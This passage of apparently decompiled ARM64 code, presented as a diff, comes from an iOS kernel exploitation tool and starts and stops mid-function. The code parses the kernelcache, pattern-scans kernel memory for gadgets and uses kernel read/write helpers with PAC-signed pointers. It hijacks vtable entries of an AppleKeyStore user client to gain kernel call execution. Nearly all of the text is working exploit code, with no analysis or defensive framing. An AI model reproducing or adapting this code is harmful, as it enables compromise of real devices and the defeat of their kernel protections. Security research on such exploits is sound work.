unsigned int a4) +{ + void *result; // x0 + __int64 v9; // x23 + int *v10; // x9 + __int64 v11; // x24 + unsigned __int64 v12; // x10 + unsigned __int64 v13; // x11 + unsigned int v16; // w8 + unsigned __int64 v17; // x14 + int v18; // w16 + unsigned int v19; // w15 + unsigned __int64 v20; // x25 + unsigned __int64 v21; // x24 + __int64 v22; // x22 + __int128 v23; // q0 + __int128 v24; // q0 + __int64 v25; // x8 + int8x16_t *v26; // x8 + int8x16_t *v27; // x27 + __int64 v28; // x8 + int8x16_t *v29; // x24 + unsigned __int64 v30; // x26 + int v31; // w22 + int v32; // w23 + unsigned __int64 v33; // x28 + __int64 v34; // x8 + unsigned __int64 v35; // x8 + unsigned __int64 v36; // x8 + __int64 v38; // x8 + int8x16_t v39; // q1 + unsigned __int64 v40; // x8 + unsigned __int64 v41; // x9 + bool v42; // cf + unsigned __int64 v43; // x9 + __int64 v44; // [xsp+0h] [xbp-70h] + _QWORD v45[3]; // [xsp+8h] [xbp-68h] BYREF + + result = sub_19F2C(a1, a3); + if ( !(_DWORD)result ) + return result; + *(_DWORD *)(a1 + 216) = a2; + *(_BYTE *)(a1 + 256) = 1; + v9 = **(_QWORD **)(a1 + 208); + v10 = (int *)(v9 + 32); + v11 = *(unsigned int *)(v9 + 20); + v12 = v9 + 32 + v11; + v13 = v12 - 8; + if ( v9 + 32 >= v12 || v9 + 40 > v12 || (unsigned __int64)v10 > v13 ) + return 0; + v16 = 0; + do + { + v17 = (unsigned int)v10[1]; + if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 ) + break; + v18 = *v10; + v19 = 24; + if ( *v10 <= 10 ) + { + switch ( v18 ) + { + case -2147483617: + goto LABEL_26; + case -2147483614: +LABEL_24: + v19 = 48; + goto LABEL_26; + case 2: + goto LABEL_26; + } + } + else if ( v18 > 24 ) + { + if ( v18 == 34 ) + goto LABEL_24; + if ( v18 == 25 ) + { + ++v16; + v19 = 72; + goto LABEL_26; + } + } + else + { + if ( v18 == 11 ) + { + v19 = 80; +LABEL_26: + if ( (unsigned int)v17 < v19 ) + break; + goto LABEL_27; + } + if ( v18 == 13 ) + goto LABEL_26; + } +LABEL_27: + v10 = (int *)((char *)v10 + v17); + } + while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 ); + if ( !v16 ) + return 0; + *(_DWORD *)(a1 + 8) = v16; + result = malloc(56LL * v16); + *(_QWORD *)a1 = result; + if ( !result ) + return result; + *(_QWORD *)(a1 + 272) = "__TEXT"; + v20 = v9 + 32; + v21 = v9 + 32 + v11; + if ( v9 + 32 < v21 ) + { + v22 = (__int64)result; + do + { + if ( *(_DWORD *)v20 == 25 ) + { + if ( *(unsigned int *)(v20 + 64) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 72) / 0x50 ) + return 0; + if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") ) + *(_QWORD *)(a1 + 272) = "__TEXT_EXEC"; + v23 = *(_OWORD *)(v20 + 40); + *(_QWORD *)v22 = a1; + *(_OWORD *)(v22 + 8) = v23; + v24 = *(_OWORD *)(v20 + 24); + *(_QWORD *)(v22 + 24) = a1; + *(_OWORD *)(v22 + 32) = v24; + *(_QWORD *)(v22 + 48) = v20; + v22 += 56; + } + v20 += *(unsigned int *)(v20 + 4); + } + while ( v20 < v21 ); + v9 = **(_QWORD **)(a1 + 208); + } + *(int32x2_t *)(a1 + 40) = vrev64_s32(*(int32x2_t *)(v9 + 4)); + *(_DWORD *)(a1 + 48) = *(_DWORD *)(v9 + 24); + if ( (a4 & 0x100) != 0 ) + { + macho_getsectbyname("__TEXT", a1, "__thread_starts", v45); + if ( v45[2] ) + *(_BYTE *)(a1 + 156) = 1; + if ( (a4 & 0x400) != 0 ) + { + if ( *(_QWORD *)a1 ) + { + v25 = *(_QWORD *)(*(_QWORD *)a1 + 8LL); + if ( v25 ) + *(_QWORD *)(a1 + 160) = a3 - v25; + } + } + } + if ( (a4 & 0x40) != 0 ) + return &def_3E8F0 + 1; + v26 = **(int8x16_t ***)(a1 + 208); + v27 = v26 + 2; + v28 = v26[1].u32[1]; + v29 = (int8x16_t *)((char *)v27 + v28); + if ( v27 >= (int8x16_t *)&v27->i8[v28] ) + return 0; + v30 = 0; + v31 = 0; + v44 = *(int *)(a1 + 56) - 1LL; + v32 = a4 & 0x580; + v33 = a3; + while ( 2 ) + { + if ( v27->i32[0] == 25 ) + { + if ( !strcmp(&v27->i8[8], "__TEXT") ) + { + *(_QWORD *)(a1 + 248) = a3 - v27[1].i64[1]; + if ( (a4 & 0x100) != 0 ) + goto LABEL_54; + } + else if ( (a4 & 0x100) != 0 ) + { +LABEL_54: + if ( !strcmp(&v27->i8[8], "__KLD") ) + v31 = 1; + } + if ( v32 != 384 ) + { + v34 = v27[2].i64[0]; + if ( v34 ) + { + v35 = v27[1].i64[1] + v34; + if ( v35 > v30 ) + v30 = v35; + } + } + if ( (a4 & 0x400) != 0 && v27[2].i64[0] ) + { + v36 = v27[1].u64[1]; + if ( v36 < v33 && v36 != 0 ) + v33 = v27[1].u64[1]; + } + if ( !strcmp(&v27->i8[8], "__LINKEDIT") ) + { + v38 = v27[1].i64[1]; + v39 = vextq_s8(v27[2], v27[2], 8u); + if ( v32 == 384 ) + v30 = v27[2].i64[0] + v38; + *(_QWORD *)(a1 + 16) = v38; + *(int8x16_t *)(a1 + 24) = v39; + } + } + v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]); + if ( v27 < v29 ) + continue; + break; + } + result = 0; + if ( ((v31 == 0) & (a4 >> 8)) == 0 && v30 ) + { + if ( (~a4 & 0x500) == 0 && *(_QWORD *)(a1 + 160) ) + v33 = *(_QWORD *)(a1 + 160); + v40 = v33 & ~v44; + if ( v33 == a3 ) + v40 = a3; + v41 = (v30 + v44) & ~v44; + v42 = v41 >= v40; + v43 = v41 - v40; + if ( v42 ) + { + *(_QWORD *)(a1 + 224) = v40; + *(_QWORD *)(a1 + 232) = v43; + return (void *)sub_19E58(a1); + } + else + { + return 0; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001A4FC) ---------------------------------------------------- +bool __fastcall sub_1A4FC(__int64 a1, int a2, __int64 a3, int a4) +{ + return (unsigned int)sub_1A0F4(a1, a2, a3, a4 | 0x100u) != 0; +} + +//----- (000000000001A520) ---------------------------------------------------- +void __fastcall sub_1A520(__int64 a1) +{ + void **v2; // x0 + void *v3; // x0 + + sub_19E04(a1); + v2 = *(void ***)(a1 + 208); + if ( v2 ) + { + if ( *v2 ) + { + free(*v2); + v2 = *(void ***)(a1 + 208); + *v2 = 0; + } + free(v2); + *(_QWORD *)(a1 + 208) = 0; + } + if ( *(_QWORD *)a1 ) + { + free(*(void **)a1); + *(_QWORD *)a1 = 0; + } + v3 = *(void **)(a1 + 264); + if ( v3 ) + { + free(v3); + *(_QWORD *)(a1 + 264) = 0; + } +} + +//----- (000000000001A58C) ---------------------------------------------------- +__int64 __fastcall sub_1A58C(__int64 a1, _QWORD **a2, __int64 a3) +{ + unsigned __int64 v6; // x25 + __int64 result; // x0 + unsigned __int64 v8; // x0 + int v9; // w27 + unsigned __int64 v10; // x0 + struct_krwCtx *v11; // x22 + __int64 v12; // x0 + unsigned __int64 v13; // x22 + __int64 v14; // x28 + __int64 v15; // x23 + int v16; // w0 + struct_krwCtx *v18; // x22 + __int64 v19; // x0 + unsigned __int64 v20; // x21 + __int64 v21; // x23 + __int64 v22; // x0 + __int64 v23; // x22 + __int64 v24; // x23 + int v25; // w24 + __int64 v26; // x21 + unsigned int v27; // w23 + unsigned __int64 v28; // x0 + unsigned int v29; // w21 + unsigned int v30; // w8 + __int128 v31; // [xsp+10h] [xbp-90h] BYREF + int v32; // [xsp+20h] [xbp-80h] + __int128 v33; // [xsp+30h] [xbp-70h] BYREF + int v34; // [xsp+40h] [xbp-60h] + + v6 = *(_QWORD *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5; + *(_OWORD *)a1 = xmmword_43270; + *(_OWORD *)(a1 + 16) = xmmword_43280; + *(_QWORD *)(a1 + 32) = 0xEA2305C0EA140568LL; + *(_DWORD *)(a1 + 40) = 734725576; + *(_QWORD *)&v33 = 0xD65F03C0F9402400LL; + *(_QWORD *)&v31 = -1; + *(_QWORD *)(a1 + 48) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + v33 = xmmword_43290; + v31 = xmmword_432A0; + *(_QWORD *)(a1 + 56) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + v33 = xmmword_432B0; + v31 = xmmword_432A0; + *(_QWORD *)(a1 + 64) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + *(_QWORD *)&v33 = 0xD65F03C0D508831FLL; + *(_QWORD *)&v31 = -1; + *(_QWORD *)(a1 + 72) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + if ( v6 < 0x918C5A83400LL ) + { + v9 = -1459420545; + *(_QWORD *)&v33 = 0xD65F03C0F9000041LL; + *(_QWORD *)&v31 = -1; + v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + } + else + { + *(_QWORD *)&v33 = 0xD65F03C0F9000022LL; + *(_QWORD *)&v31 = -1; + v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + v9 = -1459420449; + } + *(_QWORD *)(a1 + 80) = v8; + *(_QWORD *)&v33 = 0x52820002AA0003E8LL; + DWORD2(v33) = 1923089314; + *(_QWORD *)&v31 = -1; + DWORD2(v31) = -1; + *(_QWORD *)(a1 + 88) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 3u); + *(_QWORD *)&v33 = 0x17000000B2400000LL; + *(_QWORD *)&v31 = 0xFF000000FFFFFFFFLL; + *(_QWORD *)(a1 + 96) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u) + 8; + v33 = xmmword_432C0; + *(_QWORD *)&v31 = -1; + *((_QWORD *)&v31 + 1) = -1; + *(_QWORD *)(a1 + 104) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + v33 = xmmword_432D0; + *(_QWORD *)&v31 = -1; + *((_QWORD *)&v31 + 1) = -1; + v10 = sub_40024((__int64)a2, (__int64)&v33, (__int64)&v31, 4u); + *(_QWORD *)(a1 + 120) = v10 - 8; + v11 = *(struct_krwCtx **)(a3 + 32); + v12 = sub_10660(a3, v10 + 16); + v13 = krw_xpac_vaddr_2(v11, v12); + v14 = 0; + while ( 1 ) + { + v15 = sub_3FF78((__int64)a2, *a2, v13 + v14); + v16 = sub_3FF78((__int64)a2, *a2, v13 + v14 + 8); + if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 ) + break; + v14 += 4; + if ( (_DWORD)v14 == 4096 ) + goto LABEL_14; + } + *(_QWORD *)(a1 + 112) = v13 + (v15 << 38 >> 36) + v14; +LABEL_14: + v18 = *(struct_krwCtx **)(a3 + 32); + v19 = sub_10660(a3, *(_QWORD *)(a1 + 120) + 24LL); + v20 = krw_xpac_vaddr_2(v18, v19); + v21 = 0; + while ( 1 ) + { + v22 = sub_3FF78((__int64)a2, *a2, v20 + v21); + if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 38 >> 36) == *(_QWORD *)(a1 + 112) ) + break; + v21 += 4; + if ( (_DWORD)v21 == 768 ) + { + v23 = 0; + goto LABEL_20; + } + } + v23 = v20 + v21; +LABEL_20: + v24 = 0; + if ( v6 <= 0x918C5A833FFLL ) + v25 = -117434784; + else + v25 = -117434688; + while ( 1 ) + { + v26 = v23 + v24; + if ( (unsigned int)sub_3FF78((__int64)a2, *a2, v23 + v24) == v25 ) + break; + v24 -= 4; + if ( (_DWORD)v24 == -128 ) + { + v26 = 0; + break; + } + } + v27 = sub_3FF78((__int64)a2, *a2, v26 + 4); + *(_QWORD *)(a1 + 128) = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)((v27 >> 18) & 0x1800 | (v27 >> 5 << 13)) + + (((unsigned int)sub_3FF78((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8); + v33 = xmmword_43350; + v34 = 2028024072; + v31 = xmmword_43364; + v32 = -1; + v28 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 5u); + *(_QWORD *)(a1 + 136) = v28; + v29 = sub_3FF78((__int64)a2, *a2, v28 + 4); + v30 = sub_3FF78((__int64)a2, *a2, *(_QWORD *)(a1 + 136) + 8LL); + result = 0; + *(_QWORD *)(a1 + 136) = ((*(_QWORD *)(a1 + 136) + 4LL) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)((v29 >> 18) & 0x1800 | (v29 >> 5 << 13)) + + ((v30 >> 7) & 0x7FF8); + return result; +} +// 43270: using guessed type __int128 xmmword_43270; +// 43280: using guessed type __int128 xmmword_43280; +// 43290: using guessed type __int128 xmmword_43290; +// 432A0: using guessed type __int128 xmmword_432A0; +// 432B0: using guessed type __int128 xmmword_432B0; +// 432C0: using guessed type __int128 xmmword_432C0; +// 432D0: using guessed type __int128 xmmword_432D0; +// 43350: using guessed type __int128 xmmword_43350; +// 43364: using guessed type __int128 xmmword_43364; +// 480D8: using guessed type __int64 qword_480D8; +// 480E0: using guessed type _BYTE algn_480E0[32]; + +//----- (000000000001AA90) ---------------------------------------------------- +__int64 __fastcall sub_1AA90(__int64 result) +{ + __int64 v1; // x19 + + if ( *(_DWORD *)(result + 20) ) + { + v1 = result; + do + { + if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) != 0 ) + result = thread_switch(*(_DWORD *)(v1 + 20), 0, 0); + } + while ( *(_DWORD *)(v1 + 20) ); + } + return result; +} + +//----- (000000000001AADC) ---------------------------------------------------- +__int64 __fastcall sub_1AADC(__int64 a1, __int64 a2) +{ + const CFDictionaryRef *v4; // x0 + io_service_t MatchingService; // w0 + unsigned __int64 v6; // x21 + __int64 v7; // x0 + unsigned __int64 v8; // x23 + struct_krwCtx *v9; // x24 + __int64 v10; // x0 + unsigned __int64 v11; // x0 + __int64 v12; // x24 + __int64 v13; // x25 + __int64 v14; // x0 + struct_krwCtx *v15; // x24 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + __int64 v18; // x24 + __int64 v19; // x25 + __int64 v20; // x0 + struct_krwCtx *v21; // x24 + __int64 v22; // x0 + unsigned __int64 v23; // x0 + __int64 v24; // x24 + __int64 v25; // x25 + __int64 v26; // x0 + struct_krwCtx *v27; // x24 + __int64 v28; // x0 + unsigned __int64 v29; // x0 + __int64 v30; // x24 + __int64 v31; // x25 + __int64 v32; // x0 + struct_krwCtx *v33; // x24 + __int64 v34; // x0 + unsigned __int64 v35; // x0 + __int64 v36; // x24 + __int64 v37; // x25 + __int64 v38; // x0 + struct_krwCtx *v39; // x24 + __int64 v40; // x0 + unsigned __int64 v41; // x0 + __int64 v42; // x24 + __int64 v43; // x25 + __int64 v44; // x0 + struct_krwCtx *v45; // x24 + __int64 v46; // x0 + unsigned __int64 v47; // x0 + __int64 v48; // x24 + __int64 v49; // x25 + __int64 v50; // x0 + struct_krwCtx *v51; // x24 + __int64 v52; // x0 + unsigned __int64 v53; // x0 + __int64 v54; // x24 + __int64 v55; // x25 + __int64 v56; // x0 + struct_krwCtx *v57; // x24 + __int64 v58; // x0 + unsigned __int64 v59; // x0 + __int64 v60; // x23 + __int64 v61; // x24 + __int64 v62; // x0 + __int64 v63; // x23 + __int64 v64; // x24 + __int64 v65; // x0 + __int64 v66; // x23 + __int64 v67; // x24 + __int64 v68; // x0 + __int64 v69; // x23 + __int64 v70; // x24 + __int64 v71; // x0 + __int64 v72; // x0 + __int64 v73; // x22 + __int64 v74; // x0 + unsigned __int64 v75; // x0 + __int64 result; // x0 + __int128 v77; // [xsp+10h] [xbp-50h] BYREF + + v4 = IOServiceMatching("AppleKeyStore"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4); + IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2); + v6 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); + *(_QWORD *)(a2 + 24) = sub_10660(*(_QWORD *)a1, v6 + 72); + v7 = sub_10660(*(_QWORD *)a1, v6); + *(_QWORD *)(a2 + 32) = v7; + v8 = krw_xpac_vaddr_2(*(struct_krwCtx **)(*(_QWORD *)a1 + 32LL), v7); + v77 = xmmword_432E0; + *(_QWORD *)(a2 + 16) = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v77); + v9 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v10 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48048); + v11 = krw_xpac_vaddr_2(v9, v10); + v12 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48048; + v13 = *(_QWORD *)a1; + v14 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v11, + v12 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804A << 48)); + kwrite64_via_kwritebuf(v13, v12, v14); + v15 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v16 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4804C); + v17 = krw_xpac_vaddr_2(v15, v16); + v18 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_4804C; + v19 = *(_QWORD *)a1; + v20 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v17, + v18 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804E << 48)); + kwrite64_via_kwritebuf(v19, v18, v20); + v21 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v22 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48050); + v23 = krw_xpac_vaddr_2(v21, v22); + v24 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48050; + v25 = *(_QWORD *)a1; + v26 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v23, + v24 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48052 << 48)); + kwrite64_via_kwritebuf(v25, v24, v26); + v27 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v28 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48054); + v29 = krw_xpac_vaddr_2(v27, v28); + v30 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48054; + v31 = *(_QWORD *)a1; + v32 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v29, + v30 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48056 << 48)); + kwrite64_via_kwritebuf(v31, v30, v32); + v33 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v34 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48058); + v35 = krw_xpac_vaddr_2(v33, v34); + v36 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48058; + v37 = *(_QWORD *)a1; + v38 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v35, + v36 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805A << 48)); + kwrite64_via_kwritebuf(v37, v36, v38); + v39 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v40 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4805C); + v41 = krw_xpac_vaddr_2(v39, v40); + v42 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_4805C; + v43 = *(_QWORD *)a1; + v44 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v41, + v42 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805E << 48)); + kwrite64_via_kwritebuf(v43, v42, v44); + v45 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v46 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48060); + v47 = krw_xpac_vaddr_2(v45, v46); + v48 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48060; + v49 = *(_QWORD *)a1; + v50 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v47, + v48 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48062 << 48)); + kwrite64_via_kwritebuf(v49, v48, v50); + v51 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v52 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48070); + v53 = krw_xpac_vaddr_2(v51, v52); + v54 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48070; + v55 = *(_QWORD *)a1; + v56 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v53, + v54 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48072 << 48)); + kwrite64_via_kwritebuf(v55, v54, v56); + v57 = *(struct_krwCtx **)(*(_QWORD *)a1 + 32LL); + v58 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48064); + v59 = krw_xpac_vaddr_2(v57, v58); + v60 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48064; + v61 = *(_QWORD *)a1; + v62 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + v59, + v60 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); + kwrite64_via_kwritebuf(v61, v60, v62); + v63 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_4806C; + v64 = *(_QWORD *)a1; + v65 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48078, + v63 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806E << 48)); + kwrite64_via_kwritebuf(v64, v63, v65); + v66 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48068; + v67 = *(_QWORD *)a1; + v68 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48078 + 4, + v66 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806A << 48)); + kwrite64_via_kwritebuf(v67, v66, v68); + v69 = *(_QWORD *)(a2 + 16) + (unsigned __int16)word_48064; + v70 = *(_QWORD *)a1; + v71 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 16LL))( + *(_QWORD *)(a1 + 8), + qword_48078 + 4, + v69 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); + kwrite64_via_kwritebuf(v70, v69, v71); + v77 = xmmword_432E0; + v72 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v77); + *(_QWORD *)(a2 + 8) = v72; + kwrite64_via_kwritebuf(*(_QWORD *)a1, v72 + 16, 0); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v6 + 72, *(_QWORD *)(a2 + 8)); + sub_10708(*(_QWORD *)a1, v6 + 156, 273); + v73 = *(_QWORD *)a1; + v74 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, unsigned __int64))(**(_QWORD **)(a1 + 8) + 32LL))( + *(_QWORD *)(a1 + 8), + *(_QWORD *)(a2 + 16), + v6 & 0xFFFFFFFFFFFFLL | 0xCDA1000000000000LL); + kwrite64_via_kwritebuf(v73, v6, v74); + *(_QWORD *)&v77 = *(_QWORD *)(a2 + 8); + v75 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1, + &v77); + result = sub_38870(*(struct_krwCtx **)(*(_QWORD *)a1 + 32LL), v75, a2 + 40); + **(_QWORD **)(a2 + 40) = 0; + return result; +} +// 0: using guessed type int def_3E8F0; +// 4: using guessed type int dword_4; +// 8: using guessed type int dword_8; +// C: using guessed type int; +// 10: using guessed type int dword_10; +// 14: using guessed type int; +// 18: using guessed type int; +// 1C: using guessed type int; +// 20: using guessed type segment_command_64 stru_20; +// 432E0: using guessed type __int128 xmmword_432E0; +// 48048: using guessed type __int16 word_48048; +// 4804A: using guessed type __int16 word_4804A; +// 4804C: using guessed type __int16 word_4804C; +// 4804E: using guessed type __int16 word_4804E; +// 48050: using guessed type __int16 word_48050; +// 48052: using guessed type __int16 word_48052; +// 48054: using guessed type __int16 word_48054; +// 48056: using guessed type __int16 word_48056; +// 48058: using guessed type __int16 word_48058; +// 4805A: using guessed type __int16 word_4805A; +// 4805C: using guessed type __int16 word_4805C; +// 4805E: using guessed type __int16 word_4805E; +// 48060: using guessed type __int16 word_48060; +// 48062: using guessed type __int16 word_48062; +// 48064: using guessed type __int16 word_48064; +// 48066: using guessed type __int16 word_48066; +// 48068: using guessed type __int16 word_48068; +// 4806A: using guessed type __int16 word_4806A; +// 4806C: using guessed type __int16 word_4806C; +// 4806E: using guessed type __int16 word_4806E; +// 48070: using guessed type __int16 word_48070; +// 48072: using guessed type __int16 word_48072; +// 48078: using guessed type __int64 qword_48078; +// 480A0: using guessed type __int64 qword_480A0; +// 480B0: using guessed type __int64 qword_480B0; + +//----- (000000000001B158) ---------------------------------------------------- +__int64 __fastcall sub_1B158(__int64 a1, __int64 a2) +{ + unsigned __int64 v4; // x21 + double v5; // d0 + __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-38h] BYREF + __int64 v8; // [xsp+10h] [xbp-30h] + + v4 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 72, *(_QWORD *)(a2 + 24)); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4, *(_QWORD *)(a2 + 32)); + sub_10708(*(_QWORD *)a1, v4 + 156, 0); + v5 = sub_38BCC(*(_QWORD *)(*(_QWORD *)a1 + 32LL), a2 + 40); + v7 = *(_QWORD *)(a2 + 8); + v8 = 0x4000; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *, double))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A8, + 2, + &v7, + v5); + v7 = *(_QWORD *)(a2 + 16); + v8 = 0x4000; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A8, + 2, + &v7); + result = IOServiceClose(*(_DWORD *)a2); + *(_DWORD *)a2 = 0; + return result; +} +// 480A8: using guessed type __int64 qword_480A8; + +//----- (000000000001B280) ---------------------------------------------------- +__int64 __fastcall sub_1B280(__int64 a1) +{ + __int128 v3; // [xsp+20h] [xbp-30h] BYREF + + v3 = xmmword_432E0; + *(_QWORD *)&v3 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2, + &v3); + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1, + &v3); + (*(void (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 48LL))(*(_QWORD *)(a1 + 8), 18); + return (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 48LL))(*(_QWORD *)(a1 + 8), 16); +} +// 432E0: using guessed type __int128 xmmword_432E0; +// 480A0: using guessed type __int64 qword_480A0; +// 480B0: using guessed type __int64 qword_480B0; + +//----- (000000000001B360) ---------------------------------------------------- +__int64 __fastcall sub_1B360(__int64 a1, _QWORD **a2) +{ + _QWORD *i; // x8 + __int16 j; // w8 + mach_port_name_t v6; // w0 + thread_act_t v7; // w0 + __int64 result; // x0 + integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF + + for ( i = *a2; *i; i = *a2 ) + sched_yield(); + for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); (j & 0xFFC) != 0; j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) ) + { + v6 = mach_thread_self(); + thread_switch(v6, 0, 0); + } + *(_OWORD *)policy_info = xmmword_432F0; + v7 = mach_thread_self(); + thread_policy_set(v7, 2u, policy_info, 4u); + result = (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 